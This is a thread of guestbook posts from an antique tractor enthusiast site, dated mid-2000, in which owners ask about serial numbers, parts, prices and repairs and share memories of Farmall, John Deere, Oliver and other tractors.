Sam C wrote on Sunday, June 25, 2000 (PDT):As Arlene wrote on June 9, 2000, I have a tractor that I thought was a Farmall Cub, Number on tractor is 351686-R2 and 251228-R-1 on the engine. The numbers seem to be more consistent with Super A's. Can anyone advise
Dave Jewson wrote on Saturday, June 24, 2000 (PDT):I have a book on the early Olivers. It was written by T. Herbert Morrell, an engineer with Oliver from 1944 until approximately 1970. The book deals mostly with the development of the Fleetline tractors (66, 77, 88, etc.), but does delve into the history of Hart Parr and Oliver tractors to help show the advancements brought forth by these tractors that helped shape the design of the Fleetlines. This book has many pictures of beautifully restored tractors from Hart Parrs to Fleetline Olivers. All the Oliver 60's, 70's, and 80's from about 1938 through the end of production of those models and all the way through the Super series of tractors had yellow grilles. Starting with the three digit series (550, 660, 770, 880, etc.) the grilles were white. The reason I gave 1938 as a rough date is that I know that the 60's changed that year to the streamlined bodies, but I do not know if that was a unilateral change or if the other models changed over a couple of years.
Reid Wilson wrote on Saturday, June 24, 2000 (PDT):Looking for a picture and any info I can get on a tractor I bought. It is a Ford with the numbers (860) which I assume is a model no. followed by the #94792 which I also assume is the ser. no. Appreciate any help.
Mark wrote on Saturday, June 24, 2000 (PDT):Brendon, sounds like you have a fuel system problem with your R. I also have an R and an 80. I changed filters and sediment filter on my 80 and had fuel back primed in about 5 seconds (literally) with the pony running. One time I even forgot to turn the fuel on on the diesel when I started it...when it started to sputter I jumped off and turned it back on and the engine IMMEDIATELY jumped back to life. Maybe I'm just lucky.....Anyway..these are wonderful tractors...lot of fun to drive!
Dale Oquinn wrote on Thursday, June 22, 2000 (PDT):To William Brown On some tractor transmission and rearend housing the idled shaft has a retaining bolt to keep it in place. When Broken Or worn out it produces all the syntoms you have, further use can damage the ring and pinion in rear end. It's not very hard to fix. Mack Oquinn and Sons Tractors, Cameron NC 28326 9194992985
Scott Stucky wrote on Thursday, June 22, 2000 (PDT):My father had a 1949 UTS which he bought new for $1450. He converted it to LP and added hydraulic in 1958. I drove it many hours. It was a great tractor. He eventually traded it on a G-VI in about 1963.
Scott Stucky wrote on Thursday, June 22, 2000 (PDT):We had a 1957 TO-35. It was the first tractor I ever drove in the field, in 1958. It pulled a 3-16 plow with a 3-point hitch. I remember that it had a horizintal muffler under the right floorboard. It would get so hot that you had to move your foot. Eventually my father put a vertical muffler on it.
Robert Brown wrote on Thursday, June 22, 2000 (PDT):I just purchased two T-20 crawlers. One was complete and the other I purchased for parts. It has been partially dissasembled, mostly just the engine is out and torn apart. I have always wanted a crawler, but I don't know much about them. I gave 1000 dollars for both and figured that was a fair price. I don't think it will take much to get the complete one running, or so I hope. If any one has any advice on these tractors, let me know. My past experiences have been with orange tractors, so I am now a "Binder" owner. Thanks
Rhonda Fundrburk wrote on Thursday, June 22, 2000 (PDT):Bobby Reagan, if you will email me a phone number or email me with a price list for a motor and a hood I will be glad to get back in touch with you. I found this tractor in a feild when I went to look at a John Deere the man had. I had never seen one like it so I bought it. I bleed green and know nothing about red tractors. Thank you for the info and any help is appreciated. Thanks again.
DORSEY WATSON wrote on Thursday, June 22, 2000 (PDT):MY FATER BOUGHT THIS 550 oliver and rear mower in 1963 for thirty three hundred dollars i have rebuilt the engine twice and it is still going strong today my father has pased on and i would not part with it at all it has been a great tractor a good allround farm tractor i really like it
Gene Richards wrote on Thursday, June 22, 2000 (PDT):I am in Massachusetts and have a John Deere Model L for sale(Ser. 621170). It is in need of some work and parts but is in running condition.
Fritz wrote on Wednesday, June 21, 2000 (PDT):We have a cockshutt 50 too. The toy company (Ertl) came to are house and took pictures and then made the models from are tractor. Also we still have that same 50, and proud of it.
LITTLE JIM wrote on Wednesday, June 21, 2000 (PDT):I just got a 50 vac Case, and I would like to convert it to a 12 volt system. I'm new to this,I need help.Thanks for any help. Right now it is 6 volt positive ground.
John Sprecher wrote on Tuesday, June 20, 2000 (PDT):I would like some more historical information on a John Deere B with the serial number "04520" this tractor belongs to my dad in Iowa and the serial number plate is brass, instead of silver. Thank you.
Tom Gyger wrote on Tuesday, June 20, 2000 (PDT):I have 1947 Farmall Orchard tractor which uses an "H" engine. Short wheelbase with large floatation tires. 16.9X26. Anyone have any knowledge on these ?
andy pyle wrote on Tuesday, June 20, 2000 (PDT):The best driving little tracter I have ever driven was a model g alice chalmers
Ron Stoneking wrote on Tuesday, June 20, 2000 (PDT):Am trying to purchase a Massy 95. Understand this is a G6 with Massy sheet metal built only in 1958. Can anyone share any infor or source of info with me on this tractor.
roger kantor wrote on Tuesday, June 20, 2000 (PDT):I believe that I have this tractor. How can I be sure? Is the serial number somehow linked to the model?
Frank Slapar wrote on Monday, June 19, 2000 (PDT):My father owned a 1945 Oliver 70 and it had a yellow grill. It was the nicest driving tractor at that time.
Ralph Confer wrote on Monday, June 19, 2000 (PDT):Could someone please tell me what the lift load capacity of the hydraulic ram is on a 1950 AC model B? I am trying to use this model for mowing hay with a sicle bar. I have put a 3 point hitch on this model and need to know what size ram I need to raise 300-500lbs of sicle bar for mowing or if this model is capable of this kind of load.
Ted E, Adams wrote on Monday, June 19, 2000 (PDT):The first chassis of a BO tractor was sent to the Lindeman Bro. in 1935. The Lindeman in your photo belongs to Jacob Rens.
Jeff Booker wrote on Monday, June 19, 2000 (PDT):Started the restoration of the 9N with Ferguson System that has been working faithfully on the farm since my grandfather bought it new. As with several of the other folks on this page, I started to get confused about the serial number though. It appears to be a '41 or '42, and a Ford dealer once told me it was a '42. Yet the serial number on the block is '9NI54780*'. My understanding is that the '*' indicates steel cylinder sleeves versus cast iron. I recently was informed that Ford used the 'I' to represent the numeral '1'...so is this a '41 9N with a serial of 54780 or a '44 2N (even though the prefix is 9N!!)?? The characteristics definitely don't look like a '44, and it has the Ferguson System hood emblem as well as Ford's. But like Mike asks, how can a 9NXXXX be over the 105412 production number?
GeneD14 wrote on Monday, June 19, 2000 (PDT):The D17 will easily handle a 4 bottom plow. The traction booster will transfer extra weight over the rear axle for better traction when plowing.
Ron Ferrando wrote on Monday, June 19, 2000 (PDT):I just bought a 420 crawler. The unique thing about my 5 roller crawler is that it has a backhoe unit attached. To date I don't know of another. I also have the five speed tranny. I paid $4,000 for the crawler and trailer. It this too much? It runs great, the undercarriage is 75to 80% and the hydrolics need work. I've been working it pretty hard and it seem to keep on crawling, any comments?
Jim Prior wrote on Monday, June 19, 2000 (PDT):I just purchaced a farmall M. There are two control levers, both controlled from the operators position and both on the right side of the tractor as you're sitting in the seat. One lever is located approximately around the clutch area and the other is about six inches further back. When the rear lever is engaged, it feels like gears meshing but, the front lever, feels like nothing is happening. I hope there is someone that can tell me what these two control levers do.
Arnold Ayotte wrote on Monday, June 19, 2000 (PDT):I have a JD420 Crawler with front bucket loader for sale. Overall, is in decent shape. Although the tracks will come off fairly easy if not careful. Have owned for about 10 years and I have always kept under cover. Price is $3500. If interested, call 860-742-1420 or e-mail ayotteat at pweh.com
Mike Kohlbauer wrote on Sunday, June 18, 2000 (PDT):This tractor was also manufactured by General Motors in Janesville,Wisconsin.
Jack LaFrinere wrote on Sunday, June 18, 2000 (PDT): I'm looking for a steering wheel for my Allis-Chalmer, model G. tractor.
John wrote on Sunday, June 18, 2000 (PDT):I have aquired a 1948 DI with the HOUGH loader.The tractor has a blown engine.Will another model engine fit this tractor ?? Any information is appreciated..
Dale wrote on Saturday, June 17, 2000 (PDT):I have a friend who is considering a trade for a D-17. How many bttoms will this pull? Does anyone think it would pull a 717 chopper?
Steve Longstreth wrote on Saturday, June 17, 2000 (PDT):Hi A friend of mine has a 1935 T-20. He is trying to find a track tightener assy right side or another T-20 if someone can help I would gratefull Thanks Steve
Steve Longstreth wrote on Saturday, June 17, 2000 (PDT):Hi A friend of mine has a 1935 T-20. He is trying to find a track tightener assy right side or another T-20 if someone can help I would gratefull Thanks Steve
Alan Soper wrote on Friday, June 16, 2000 (PDT):I have a 1944 Case D,need information on tightening the chains in the rear differential. should I remove a link in the chains or have to replace them?
Mike S. wrote on Friday, June 16, 2000 (PDT): Looking for a 530 case, front end loader. Preferably gasoline engine.Known as The Construction King, this was a sweet sounding Tractor. My Grandfather had one and I'm looking for one like it. 3pt hitch, power take off. No Backhoe. If anyone could help me, or has one they would like to sell, you can E-Mail me at majsrs at aol.com Thanks, Mike S
Carl Holloway wrote on Friday, June 16, 2000 (PDT):I just purchased an f-12 that has been in storage for 20 someodd years. The tractor is on steel but has a set of rims to go with it. If anyone has the time to email me with information about my new project it would be greatly appreciated. The previous owner said it was a very rare tractor with two transmissions and one of the first three point lifting mechanisms to be used on a tractor.
David Johnson wrote on Friday, June 16, 2000 (PDT):My AC WC was rescued from a who was long dead farmers corn field along with a IH Corn Planter hitched up. Now that my hopes of putting her back on the job are dashed (temp) I would like to put her into a reenactors hands. I can guarantee a fresh Engine O/H from pressure plate forward. Sounds so good..ha I have more into the sweetheart than I see as advertised selling prices, which makes it not so good for all of us. So why is say $2600.00 so out of sort for a WC? Any other complaints from prespective sellers or buyers? thanks Dave ACWC 177805 ser Engine 194654G U casting marks.
Jason Kurchaba wrote on Thursday, June 15, 2000 (PDT):Like David WalDrop above, I dug my Case L out of my uncles yard where a large poplar tree had grown through the back wheel from the inside to outside and grew to about 25'. I have not yet started restoration. My question is - what is the approximate value of a Case L tractor (steel wheels) in US dollars as I have quite a number of folk interested in purchasing this gem. Also what is the best book for restoration of this tractor. Thanks in advance for the input.
Brendon wrote on Wednesday, June 14, 2000 (PDT):I have an 51 R, which the 80 replaced, excellent tractor, The reason they start so easily is so long as the fuel system has not lost its prime, there is fuel at the injectors ready to go, all you have to do is hit a power stoke and away she goes. But, DO NOT run any of those 2 cyl diesels out of fuel, I know, I did it to mine. It took 10 tankes of fuel on the pony motor and constant bleading of the fuel system to make her run again. I almost had to take the valve cover off and crack the lines at the injectors to get the air out of the system. They are a pain to start after you change the fuel filters or run em out of fuel.
Ron wrote on Wednesday, June 14, 2000 (PDT):Would like to find a wide front and rear rims for a AC WD45. With in a few hundred miles of Des Moines, IA. Thanks!
Dan Grove wrote on Wednesday, June 14, 2000 (PDT):I am rebuilding a 1947 Oliver 70 Row Crop. Does anyone have information concerning this particular model. I question the yellow grill on your picture of the 1945 Oliver. I have been told the yellow grill did not appear till 1948 on the models 77 and 88. Enjoyed this website. Please contact me regarding this. Thank you for this website.
John Pape wrote on Wednesday, June 14, 2000 (PDT):Hi, in Seguin, TX I am needing to part with a model L styled 1939 0r 1940 John Deere tractor in good running condition? If interested e-mail for info.
Daniel wrote on Wednesday, June 14, 2000 (PDT):go to a tractor dealer
mike wrote on Wednesday, June 14, 2000 (PDT):I am looking into purchasing a used case 300 with loader. can anyone advise whatthis tractor should sell for. also, looking for thoughts from anyone that has used this model. thanks
Patrick Moore wrote on Wednesday, June 14, 2000 (PDT):I have been the proud owner of a 1964 Super Dexta for 9 years. First, for any one new to diesel, DO NOT USE STARTER FLUID, if you use it you can blow the top off the piston, I did have a man work on mine, he used either, it blew the rings off the piston, cost to reline and new pistons with all that goes with it was $1700.00. For a manual, go to the Ford Tractor Dealer and get the Ford Manual number F-201 it has information about Fordson Dexta, Fordson Duper Dexta, 2000 super Dexta, New Performance Super DExta. For parts for the engine go to a Massey Ferguson dealer, the Super Dexta uses the same engine as the current Massey Ferguson tractors. Ford can furnish most of the parts for hydrolics and the rest of the tractor. It is one fine machine, wouldn't trade it. Worth, in Okla. about $ 4500.00 to $ 6000.00 enjoy.
Brandon McDonald wrote on Tuesday, June 13, 2000 (PDT):I work on my grandpaws farm and he has a '64 2010 deisel. He has had it since '66 and we still use it today. It has over 5700 hours on it and has never been rebuilt. It still runs very Good (but smokes badly) and always gets the job done. It is the best tractor I have ever used. We also have a 79 2640 and a 91 2755. The 2010 is the best in my book I have ever used.
Brent wrote on Tuesday, June 13, 2000 (PDT):www.ytmag.com/jd/wwwboard1.html Fix for a JD tractor-junkie
Jim Trist wrote on Tuesday, June 13, 2000 (PDT):I have a chance to get an Int. 300 for $2,400 but I have to hall it from Alabama to Michigan. It comes with a parts tractor, man. stearing, no T.A., back tires are good, front tires are car tires, runs good, no leaks, just had the head re worked. Is this a good deal or not? Any comments are appriciated.
Kevin Smolkowski wrote on Monday, June 12, 2000 (PDT):Why don't more of you all post pictures of your tractors? I am in the middle of my Model R restoration and love posting the story as I go. www.smolkowski.com/tractors
Brad Peters wrote on Sunday, June 11, 2000 (PDT):We have an 80 and that is so neat stuff. Can any one tell me why they start so easy. Beacuse we had it in the shed not started for 5 years and I hit the clutch when he was pulling me and it poped in about 5 Feet.
CK wrote on Sunday, June 11, 2000 (PDT):Spent many an hour as a boy on a 1900. 6-16" in Northern Il. black gumbo, Roll into the furrow, drop the plow, grab a hand full of throttle, and hang on. The old Detroit would make your ears ring. She would do a lot of work and wasn`t very thirsty. Good old horse.
phil wrote on Sunday, June 11, 2000 (PDT):we have owned a D17 for several years,its been a very good and usefull tractor
rythking wrote on Sunday, June 11, 2000 (PDT):a couple years back my uncle got a case IH 7110 with a woods batwing mower stuck in a small gulley and our first choice in pulling it out was MM G706 LP. we positioned the MM on a ridge in front of the stuck vehicle and hooked on with heavy duty log chains. The MM roared as she pulled against the weight, but unfortunately, the stuck 7110 was no match for the "old pig" as we call it. All four wheels on the MM bit and clawed, but it only managed to dig itself into the ground. we had to jerk it forward and backwards in order to get it out of the holes it dug for itself. Needless to say, we resorted to a bigger tractor, a Case IH 9270 4wd articulated - which had not problem freeing the mower tractor. However, I still like the MM - its a great old tractor
Ray Peterson wrote on Sunday, June 11, 2000 (PDT):For Mark, Contact Worksaver.com - they have a pretty wide assortment of after market IHC products, including 3pt hitches and 2pt to 3pt conversions. I have a 2/3 conversion on my Farmall 200 (successor to the super c) that works pretty well.
patricia gaynor kosluk wrote on Sunday, June 11, 2000 (PDT):i am looking for 2010 john deere tractor which was stolen between 11\99 to2\00 that might have been sold. it was taken from worchester township pa. i am the only daughter of a man of aldheiemeiers who was 74 who in the last 6 months i took him home to live with me after taken him out of his 10 acre home leaving behind his 5 tractors[i had too promise him to get him to go i would make sure that they be there when he returned[i would take him almost every other day just to see these tractors and it would make him feel better[he loved them he may have never have used them alot but i knew seeing them made him tick and alive.the rest of the story goeslike this the day came in the last few months i took him home to see his tractors and the moral of the stoy that day was the tractors were gone. SOME MAGGOT CAME IN THE DAY BEFORE AND STOLE ALL OF MY DADS DREAMS MEMERIES ALL THAT LEFT CONSIDED OF.what anightmare 2v months later he diedof brain cancer only after the lose of those stupid tractors..i know its alot to ask can anyone help me ... i dont want to hurt anyone who mqy have bought one of these tractors I ONLY WANT THE INFO ON THE PESON WHO PEOPLEWHO STRIPED ME OF MY PROMISE TO MY DAD.i am offering a 10,000 reward only for the thief.. you may keep the tractor all legal paperswill be made up forunknowing buyer]on confirmation on registry number]buyer will not be prosicuted the buyer may keep tractor or tractorsany info on MAGGOTTS will help please...i will put this in writing...see attorny AUTHER GUtkin ESQ.for serious aquires only.reward will be paid with conviction
Arlene D. wrote on Friday, June 09, 2000 (PDT):I need to know what year the cub tractor is. the #,s are 215716-J and 351686-RS-L2X? thank you!
Adam Long wrote on Friday, June 09, 2000 (PDT):I am in the process of purchasing a Farmall Regular which I believe is a 1928 model. It has had the original steel cut off and was replaced with rubber. If anyone could help me on locating a set of these wheels it would be greatly appreciated!
Adam Long wrote on Friday, June 09, 2000 (PDT):I am in the process of purchasing a Farmall Regular, which I believe is a 1928 model. The Steel wheels have been cut off and replaced with rubber front and back. If anyone could help me locate a set of these it would be greatly appreciated!
Dale Oquinn wrote on Thursday, June 08, 2000 (PDT):To Sarah Sisson on another page in this web site has resent purchase prices Massy Haris Tractors one like yours was listed at 1200 Dollors. We paid 1600 Dollors for the 44 Massey we restored. It trrned into a Like new Show Tractor.
Dale Oquinn wrote on Thursday, June 08, 2000 (PDT):To Sarah Sisson on another page in this web site has resent purchase prices Massy Haris Tractors one like yours was listed at 1200 Dollors. We paid 1600 Dollors for the 44 Massey we restored. It trrned into a Like new Show Tractor.
norman wrote on Thursday, June 08, 2000 (PDT):i have a 38 or 39 john deere L i removed the magneto to set and replace points how do i reinstall it to the proper firing order and timing all i seen is 1 punch mark on the magneto gear i cant get it to fire the crankshaft has been moved since i took it out thanks . norm from geneva Ohio 1-1-440-466-3839.
ED SMITH wrote on Thursday, June 08, 2000 (PDT):I'm in the process of purchasing a mm m-5 for 3000 I was wondering if this price is reasonible? everything in good condition on tractor.
ED SMITH wrote on Thursday, June 08, 2000 (PDT):I'm in the process of purchasing a mm m-5 for 3000 I was wondering if this price is reasonible? everything in good condition on tractor.
Mike wrote on Wednesday, June 07, 2000 (PDT):Have a 601 Workmaster. There is not a lot of info out there on this tractor. Can anyone point me in the right direction for parts, manuals, etc. Thanks
mike sullivan wrote on Tuesday, June 06, 2000 (PDT):My John deere 420 crawler must go. Has a shaft mounted hydraulic pump,tank,controller (spool) and remote connect- ions. Three-point hitch is mounted and new cylinder needs mounting. Fun to use in tractor pulls. Blade and 2 cylinders separate. $3950invested,make offer 805-659 5157 or fax 805-659 2213
Bruce Tom wrote on Tuesday, June 06, 2000 (PDT):I have a 1957 D-14 that I would like to convert to 3-Point hitch. Does anyone have a picture or drawing of a 3-Point conversion that would help me design mine? Also, does anyone have any D-14 fenders they'd like to sell? I have an Allis Chalmers 80-R Snap Coupler mount mower, almost complete, that I would like to sell. It fits the D-14, D-15, or D-17. I live in east central Ohio and my family has used Allis Chalmers tractors exclusively since 1945. We've found them to be dependable and they last forever.
David Waldrop wrote on Tuesday, June 06, 2000 (PDT): I own a 1929 CASE L i pull it ay antique tractor pulls. It's on steel wheels. It's a strong tractor. when i found the tractor it had a tree grown up through the back where the seat is i cut the tree out loaded it on the trailer brought it home and restored it
Harry Randall wrote on Tuesday, June 06, 2000 (PDT):I am rebuilding a 1941 farmall H has rear wheels that need new tires size 40 normal size for this tractor 38 but this is a steel wheel converson if you have any or know of any please E-Mail me
Harry Randall wrote on Tuesday, June 06, 2000 (PDT):I am rebuilding a 1941 farmall H has rear wheels that need new tires size 40 normal size for this tractor 38 but this is a steel wheel converson if you have any or know of any please E-Mail me
Brad Johnston wrote on Tuesday, June 06, 2000 (PDT):Did they make this tractor in 1960? thanks Brad
Herb Wheeler wrote on Monday, June 05, 2000 (PDT): I've got a GOLD 871 tractor that is a breeze to use. My mother-in-law has an NAA and it won't go slow enough in 1st to do any heavy brushhogging. I hear alot of bad about the SOS tranny, but I think it's worth a few problems being I'm not a farmer(my Dad was!)ENJOY!
Sherman Richmond wrote on Monday, June 05, 2000 (PDT):Sirs i have an 53 Farmall Super C Bought new plows and cult excelllent runing condition garage kept new back tires needs paint whatare the going prices. Thanks s F Richmond
DENNIS WILDEY wrote on Monday, June 05, 2000 (PDT):I recently purchased a 1947 farmall M.I would like to know how many quarts of oil it takes and how to check it. This tractor has two cock-pit vavles at different levels on the side of the oil pan. Thank you.
Jeff Bryenton wrote on Monday, June 05, 2000 (PDT):The crankshaft on my 57 Fordson Major Deisel is not repairable. Can anyone help find a replacement crank or a good used engine for a reasonable price. Vancouver, Canada
Max Mitchell wrote on Sunday, June 04, 2000 (PDT):I have a MF98 that I currently use to mow with a 20 foot Woods Bat Wing mower. The MF98 which is the same as the Oliver 990 has a very interesting history. A Brazilian tractor company got the tooling and made variations of this tractor as late as the 1990's. The one question that I have never had answered is; "Why was the MF97 given the "MF97" designation when it came from the Minniapolis Moline 706, had 101 horsepower and was sold by Massey Ferguson after the MF98 (the MF98 has approximately 85 pto horsepower). I am very familiar with this tracor if anyone has any questions.
Fred McIntire wrote on Sunday, June 04, 2000 (PDT):I have been looking for a good, all around tractor to use on my 46 acre farm. I Just agreed to buy a gas powered Oliver 770 with a narrow front. This tractor is in excellent condition. Recently painted. It has an after market 3 point with hydraulics and came with a grader blade. It also has the torque amplifier. The tractor is parade ready! I paid $2400 for the tractor. I didn't think this was a bad price considering its condition. Any thoughts on the price? I'm almost ashamed to work such a beautiful tractor in the fields. This tractor also has the whining in the gears or rear end. I'm glad to hear this is characteristic of the Oliver. Does anyone know who refurbishes the steering wheels? Also, is there a company that rebuilds the gauges? The tach is not working. I'm going to buy the owners manual and service manual for this tractor. She is a real beauty!! I can't wait to get her home and start working her!
Jenny Applegate wrote on Sunday, June 04, 2000 (PDT):My dad has a 1963 2010. It was a really good tractor, until the PTO broke. We are goinig to fix that and restore it.
Brian Lambert wrote on Sunday, June 04, 2000 (PDT):I am looking for parts for an F-14 farmall tractor and they are for electric start delco remy. The parts are bellhousing with starter mount flywheel with teeth and starter info. contact me at e-mail address listed above.
Dale Oquinn wrote on Sunday, June 04, 2000 (PDT):TO Loren Alexander, We are restoring a massey 33 Diseal and have the three point hitch you are looking for. The 44 came with a three point hitch on some models, Contact us at Mack Oquinn and Son Tractors 204 Flennie Oquinn LN Cameron NC 28326 (919)-499-2985 E-mail- toquinn at ibelieve.com
Adam Bronson MN wrote on Sunday, June 04, 2000 (PDT):I am 13 years old and restoring a 1939 Wc. The fenders are gone. I any one knows where I can get a pair it would be very helpful. I also need a temp and amp gauge for the same tractor. Thanks
Vernon Kirk wrote on Sunday, June 04, 2000 (PDT):Have been looking for a nice Farmall H for about 2 years. Finally found one in Granbury,Tx. Tractor had been completly rebuilt 3 yrs. ago. The only thing the H needs is new tires and the wheels painted. This tractor makes my collection complete.
Alan wrote on Saturday, June 03, 2000 (PDT):Can the bulb and lens lights on an H be replaced with sealed beam lights? Is there a website that cross references serial numbers and year of manufacture?
Jeany wrote on Saturday, June 03, 2000 (PDT):I'm looking for a color photo or drawing of a 1959 Case 700 so I can frame it for my husband. He's restoring one. I don't know much about the tractors. Is there a Model 700? Maybe I didn't get the number right. Thanks for your help.
Raging wrote on Friday, June 02, 2000 (PDT):Hello Everybody!! Today is a happy day - I just bought my first tractor. It is seriel number 178 844 036. I believe it is from one of the last years Oliver made 770's. She is gas, has power steering, live hydralics, and live pto and cranks out 50 hp or so. Also comes with nice Oliver loader. But I need a 3 point hitch yet. Hope to find one soon, let me know if you have any leads. I plan to use this Oliver on my 100 acre farm. Thanks!!
John Chovanes wrote on Friday, June 02, 2000 (PDT): To Rev Samuel Bryant - To free the M from high gear you may be able free by removing the shifter. First drive the retaining pin from the bottom of the shifter housing. Next lift the stick out of the transmission. Take a flash light and look down into the shifter hole. You will see 3 rails. The rail on the right side is your 4 & 5 gaer slider. Place a long screw driver into the slot on this rail and pry the rail back, until it is in alignment with the other two rails. As the bottom of the shifters wear out, they are no longer long enough to seat in the rail grooves and they will slip out of teh rail leaving the tractor stuck in the last gear that it was in. I hope this is all that it takes, but if that doesn't do it you will have to remove the tranny top plate and physically free the rail from the stuck position.
Ken Bray wrote on Friday, June 02, 2000 (PDT):We had an 880 wide front back in the mid 60s. Of all the tractors we had (and there were many!!) The 880 was my most favorite. I am looking for a gas engine 880 but my budget is tight and mama says I have to complete her new kitchen first!
Clayton Harra wrote on Friday, June 02, 2000 (PDT): I have a SMD-TA I just recently overhauled the motor complete with pistons, sleeves, rings, and bearings. Nothing compares to the response, sound and down right lugging with this tractor in its class. I also have some NOS bearings for a SMD if interested.
Arthur Blackwell wrote on Thursday, June 01, 2000 (PDT):I am typical of the boy they took out of the country but could not take the country out of him, this site is a must for anyone interested in the fergy's
Gerardo Borges wrote on Thursday, June 01, 2000 (PDT):It is the first time I have found a place like this, is exelent. I am in Venezuela, south america & we have a lot of problems trying to fix old tractors without any info.
Brad Georgeson wrote on Wednesday, May 31, 2000 (PDT):My dad farmed with a 1967 G1000, it looked similar except the G1000 on the side was a black sticker instead of white. The tractor proved dependable except for a PTO problem, had plenty of power, and always started even on the coldest days.
Leonard Zeller Iowa wrote on Wednesday, May 31, 2000 (PDT):I was almost raised on a D. First tractor I ever drove. I have a picture of me on it as a baby. It had the spoke flywheel and it was on steel but my dad changed it over to rubber. A couple of years after it was traded off for an A, I found out from the dealer that he had let some one use it for running a silage cutter at the silo in the fall and they had water in i and one nigght it froze hard enough, forgot to drain it and cracked the block. Like a dummy, I didn't but it right then, and probably could have for a song. Been sick about it ever since these old tractors have been such a collector item. I have a rear hub for it if anyone would want one. My address is 24858 50th st, cresco, Iowa 52136
Leonard Zeller Iowa wrote on Wednesday, May 31, 2000 (PDT):I never owned a G, my dad almost bought one new in '52 but bought an A instead. A neighbor had one, not sure of the year but just before 1950 or so in there. The one thing I remember about it was one time in the fall this guy pulled a one row chopper for corn silage. I was pulling a wagon along side with a '39 B, 4 speed and I was going up a hill and I had to shift down, so I motioned to him that I had to shift,so all he did waqs pull the throttle back and then he pushed ahead full open, never stopping chopping and I caught up with him and that old G never missed a pop, kept right on chopping and you could count the revolutions on the flywheel and the front end was jumping but it picked up speed again annd never plugged anything. I think it was saying, never say die.
JOHN wrote on Wednesday, May 31, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape! The Neumatic Lift screws on the manifold with 1 1/2 pipe thread. If You Know Of Anyone Who Can Help Me Find These Tractor Parts Please E-mail Me As Soon As Possible. THANK-YOU!!!
JOHN wrote on Wednesday, May 31, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape! The Neumatic Lift screws on the manifold with 1 1/2 pipe thread. If You Know Of Anyone Who Can Help Me Find These Tractor Parts Please E-mail Me As Soon As Possible. THANK-YOU!!!
JOHN wrote on Wednesday, May 31, 2000 (PDT):Does anyone know where I can find an ORIGINAL oil cap for a B farmall, also looking for a Neumatic Lift and a 1/2 in. crossover pipe in really good shape! The Neumatic Lift screws on the manifold with 1 1/2 pipe thread. If You Know Of Anyone Who Can Help Me Find These Tractor Parts Please E-mail Me As Soon As Possible. THANK-YOU!!!
Jack Baker wrote on Wednesday, May 31, 2000 (PDT):I'm going to try this again. Production Serial Numbers for the F-14 FS 124000 to FS 139606 were built in 1938 FS 117518 to FS 155902 were built in 1939
Dan Dooley wrote on Wednesday, May 31, 2000 (PDT):I grew up on Allis Chalmers tractors. The WC and WD. Now I have a collection of over 180 tractors of every sort. Although I like them all, my favorate and the one responsible for my collection beginning is my 1930 20-35. I have run it in many parades and it has never quit or been hard to start. It is all orginal and on steel. I usally make a U-turn in the middle of the street during parades and have never seemed to lack for room to turn. I live in the Black Hills of S.D. near Custer. In the summer lots of travlers stop to look at my collection that I have lined up around my place. No charge and nothing to sell. If anyone is ever in this area stop in.
Randall B. wrote on Tuesday, May 30, 2000 (PDT):My grandfather used to own a U Diesel. Wish we still had the tractor as it is rare. Both grandfathers used U Minneapolis Moline, one had the diesel and the other LP models.
Mark Dykstra wrote on Tuesday, May 30, 2000 (PDT): This is the best runing oliver that my dad has. This was taken in Lynden W.A. At the antique tractor show. August 2 3 4 5 2000
Robin Mabrito wrote on Tuesday, May 30, 2000 (PDT):We are in the process of restoring a wide front end silver king and am looking for a schematic of the tractor
DAVID SCHMIDT wrote on Tuesday, May 30, 2000 (PDT):I AM WORKING ON A D17 FOR A FRIEND THE HYDRO IS MOVING SLOW WHEN A BLADE HOOK UP . HE USES IT FOR MOWING. NEED TO NOW IF THIS IS A COMMON PROBLEM OR A BAD PUMP.
Simon Lidgerwood wrote on Monday, May 29, 2000 (PDT):My father and I have a Massey Harris 44D that we have just started restoring. We are looking for some back tyres for it, I think they are 13*40. My father bought the tractor of his neighbours 7 years ago. It was used on a farm to run an irrigation pumb and had a watch dog fitted to it.
Casey McVea wrote on Monday, May 29, 2000 (PDT):My grandfather was the original owner of an 8N (1952). He used it from 1952-1978 as his farm tractor. The tractor then sat disassembled in a barn for 12 years. My brother recently reassembled and restored the tractor; last week the tractor was submerged in a river in an accident. We towed it out, drained the fluids, replaced them, and it fired on the first try. Why don't they build machines like this anymore? (Don't answer that, I think that we all know the reason.)
William Smith wrote on Monday, May 29, 2000 (PDT):I Have a 340 utility with tourque multipier found a clutch for that. Does any body know what the shaft sticking out the side of the pto gearbox on back of tractor is and is there supposed to be a lever or something on it.
Jim wrote on Monday, May 29, 2000 (PDT):I have an Oliver Super 55 with a front end loader on it. I was moving some loose soil with it and lost seemed to have lost traction. I think it is only driving on the left rear wheel for its traction. Does anyone know what may have caused this?
Jim Kaiser, Vienna, Ohio wrote on Monday, May 29, 2000 (PDT):I recently acquired a Pacer and need some info. on how to find out what year, model etc. it is. Is there somewhere on line to buy replacement engine parts? Thanks to anyone that can help.
Paul Lewis wrote on Sunday, May 28, 2000 (PDT):I have a 1963 201 row crop uitility. It's the best tractor I have evr used.
Allen Sibley wrote on Sunday, May 28, 2000 (PDT):I am looking for a hydrolic pumb and cylinder for an AC b. mine has the pto but has a plate over where the pump would bolt. If anyone has one or knows where I might find one please let me know.
Jim Wheale wrote on Sunday, May 28, 2000 (PDT):I have 1 series II Field Marshall, 1 series III, 1 Field Marshall Cat. These three are in running condition. I also have 3 parts tractors. If you want to e-mail me information or ask me a question my adress is k.wheale at mailcity.com
Ed B Avery wrote on Saturday, May 27, 2000 (PDT):I have an Avery sign that is old and rusty, would appreciate it if anyone can remember what color the Avery was and what was he background. My E-mail address is bland at vsta.com
R. L. Leonard wrote on Saturday, May 27, 2000 (PDT):I've got to replace the engine rear bearing seal on the engine of my lowboy. The original seal is a piece of rope that seems sort of primitive to me but I must admit that my other lowboy has operated for nearly five decades with no leaks. Nonetheless I ask if any one knows of a more modern aftermarket seal, (neoprene or similar), and where I could get one. Wpold be interested in buying a Mott flail mower with offset gear box to fit lo-boy Thanks R. L. Leonard
George Wilks wrote on Friday, May 26, 2000 (PDT):My Dad bought a 1948 Farmall H in 1957. It was the main tractor until 1997. I repainted it and re-deacaled it, and parked it in the new barn after they left the Farm. Last Sept. my dad passed away. The old Farmall still sits waiting in the new barn. I think we will always keep the H in the Family. Alot of good memories over those 40 years. I wish I could calculate how many miles are on that old H ?? ;>)
